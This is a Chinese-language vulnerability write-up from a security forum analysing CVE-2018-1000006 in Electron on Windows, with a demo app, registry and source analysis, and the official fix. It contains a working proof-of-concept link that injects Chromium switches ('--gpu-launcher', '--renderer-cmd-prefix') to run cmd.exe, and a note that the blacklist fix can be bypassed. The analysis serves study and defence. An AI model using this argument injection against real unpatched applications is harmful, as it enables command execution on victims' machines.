

Electron < v1.8.2-beta.4 远程命令执行漏洞—【CVE-2018-1000006】

[chybeta](#) / 2018-01-25 11:11:00 / 浏览数 8802 [技术文章](#) [技术文章 顶\(1\) 踩\(0\)](#)

Electron

Electron是基于Chromium 和Node.js，并使用HTML、JS、CSS来构建应用的框架。项目地址：<https://github.com/electron/electron>。
在1月22日，官方发布了对漏洞的通告

环境搭建

从上述通告可知，该漏洞有两个要点：

1. 基于electron构建的app登记了协议，即可以使用该协议直接打开应用程序。
2. 影响win平台

可以直接从[CHYbeta/CVE-2018-1000006-DEMO](#)获取环境，以下部分即可忽略。

新建一个文件夹比如test，里面新建三个文件main.js，index.html，package.json：

main.js:

```
const {app, BrowserWindow} = require('electron')
const path = require('path')
const url = require('url')
const dialog = require('electron').dialog
let win

function createWindow () {
  win = new BrowserWindow({width: 800, height: 600})
  win.loadURL(url.format({
    pathname: path.join(__dirname, 'index.html'),
    protocol: 'file:',
    slashes: true
  }))
  win.on('closed', function(){
    win = null
  })
}
app.on('ready', createWindow)
app.on('window-all-closed', () => {
  if (process.platform !== 'darwin') {
    app.quit()
  }
})
app.on('activate', function(){
  if (win === null) {
    createWindow()
  }
})
app.setAsDefaultProtocolClient('chybeta')
```

index.html:

```
<!DOCTYPE html>
<html>
  <head>
    <title>Hello World!</title>
  </head>
  <body>
    <h1>Hello World!</h1>
    This is a demo for CVE-2018-1000006<br>
    Electron version:<script>document.write(process.versions['electron'])</script>.
  </body>
</html>
```

package.json:

```
{
  "name"    : "CVE-2018-1000006 Demo",
  "version" : "0.0.1",
  "main"    : "main.js"
}
```

打包exe应用,生成有漏洞的版本应用, 这里我选择electron版本为1.7.8

```
electron-packager ./test elec_rce --win --out ./elec_rce --arch=x64 --version=0.0.1 --electron-version=1.7.8 --download.mirror
```

复现与分析

本地写一个html, 其中协议的名称要与之前的设置对上, poc.html:

```
<html>
<head>
  POC for CVE-2018-1000006
</head>
<body>
  <a class="protocol" href='chybeta://?' " --no-sandbox" "--gpu-launcher=cmd.exe /c start calc"><h3>payload: chybeta://?' " --no-
</body>
</html>
```

当点击一个链接时, 会触发cmd, 并弹出计算器:

在electron的源码中, [atom\browser\browser_win.cc的第212行](#)定义了SetAsDefaultProtocolClient方法:

```
bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                         mate::Arguments* args) {

  // HKEY_CLASSES_ROOT
  //   $PROTOCOL
  //   (Default) = "URL:$NAME"
  //   URL Protocol = ""
  //   shell
  //   open
  //   command
  //   (Default) = "$COMMAND" "%1"
  //
  // However, the "HKEY_CLASSES_ROOT" key can only be written by the
  // Administrator user. So, we instead write to "HKEY_CURRENT_USER\
  // Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
  // anyway, and can be written by unprivileged users.

  if (protocol.empty())
    return false;

  base::string16 exe;
  if (!GetProtocolLaunchPath(args, &exe))
    return false;

  // Main Registry Key
  HKEY root = HKEY_CURRENT_USER;
  base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
  base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);

  // Command Key
  base::string16 cmdPath = keyPath + L"\\shell\\open\\command";

  // Write information to registry
  base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
  if (FAILED(key.SetValue(L"URL Protocol", L"")) ||
      FAILED(key.SetValue(L"", urlDecl.c_str())))
    return false;

  base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
  if (FAILED(commandKey.SetValue(L"", exe.c_str())))
    return false;

  return true;
}
```

```
}
```

经过上述的注册表登记，通过查看注册表编辑器，可以发现多了一项：

```
"C:\Users\ASUS\Desktop\elec\elec_rce\elec_rce-win32-x64\elec_rce.exe" "%1"
```

在[微软官方文档](#)中，在Launching the Handler一节中提到了在协议登记后如何启动应用：

When ShellExecute executes the pluggable protocol handler with a string on the command line, any non-encoded spaces, quotes, and

所以当我们点击payload时，注册表中的%1被替换为我们的payload，双引号被成功闭合：

```
"C:\Users\ASUS\Desktop\elec\elec_rce\elec_rce-win32-x64\elec_rce.exe" "chybeta:///?" "--no-sandbox" "--gpu-launcher=cmd.exe /c
```

从而传递了第三个参数--gpu-launcher=cmd.exe /c start calc造成命令执行。

对参数传递有疑的可以用下面代码测试：

```
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    int count;
    for(count = 0; count < argc ; count++)
        printf("argv[%d]: %s\n", count, argv[count]);
    printf("\n");
    getchar();
    return 0;
}
```

自己手动注册协议，参数解析情况如图：

第三个参数--gpu-launcher=cmd.exe /c start calc会传递给Chromium，在[List of Chromium Command Line Switches](#)中总结了Chromium的命令行参数：

所以其实换其他参数也是能命令执行成功的，比如：

```
chybeta:///?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
```

漏洞修复

打包生成打上补丁的[版本1.8.2-beta.4](#)：

```
electron-packager ./test elec_rce_fixed --win --out ./elec_rce_fixed --arch=x64 --version=0.0.1 --electron-version=1.8.2-beta.4
```

再点击poc即可发现无法触发计算器。

这个漏洞仅影响win平台，究其根源在于windows用了双引号来传参，在[微软官方文档](#)中提到：

To mitigate this issue:

1. Avoid spaces, quotes, or backslashes in your URI
2. Quote the %1 in the registration ("%1" as written in the 'alert' example registration)

好像就这个洞而言，第二条好像就被轻易饶过了。

Electron官方在 [commit-c49cb29ddf3368daf279bd60c007f9c015bc834c](#)修复该漏洞，主要是对参数的接受以及子进程的运行做了检查。

首先增加了对黑名单的验证，新增加了 [app/command_line_args.cc](#)，其中[第40行](#)增加了黑名单列表：

由[CheckCommandLineArguments](#)进行验证：

该验证函数在[atom/app/atom_main.cc](#)的[第132行](#)调用

另外还增加了对子进程的验证，在[atom/browser/atom_browser_client.cc](#)的[第244行](#)：

MakeAbsoluteFilePath()是[chromium定义的函数](#)，这段代码用于对于启动进程的路径检查，防止未知应用的启动。

实际上，对黑名单的修补是不完善的，可以直接绕过，但后面对于路径的验证却难以绕过，因为路径验证的失败而直接导致程序崩溃。

其他

以上是我分析的一些想法，若有错误烦请各位师傅指出，谢谢各位师傅。

点击收藏 | 2 关注 | 3

[上一篇：渗透技巧——利用tscon实现未授...](#) [下一篇：Web安全 -- 上传漏洞讲解](#)

1. 3 条回复



[cover](#) 2018-01-25 13:23:39

有的玩了

0 回复Ta



[b5mali4](#) 2018-01-26 00:32:46

牛逼，牛逼

0 回复Ta



[xianzhi](#) 2018-01-26 17:25:00

666

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)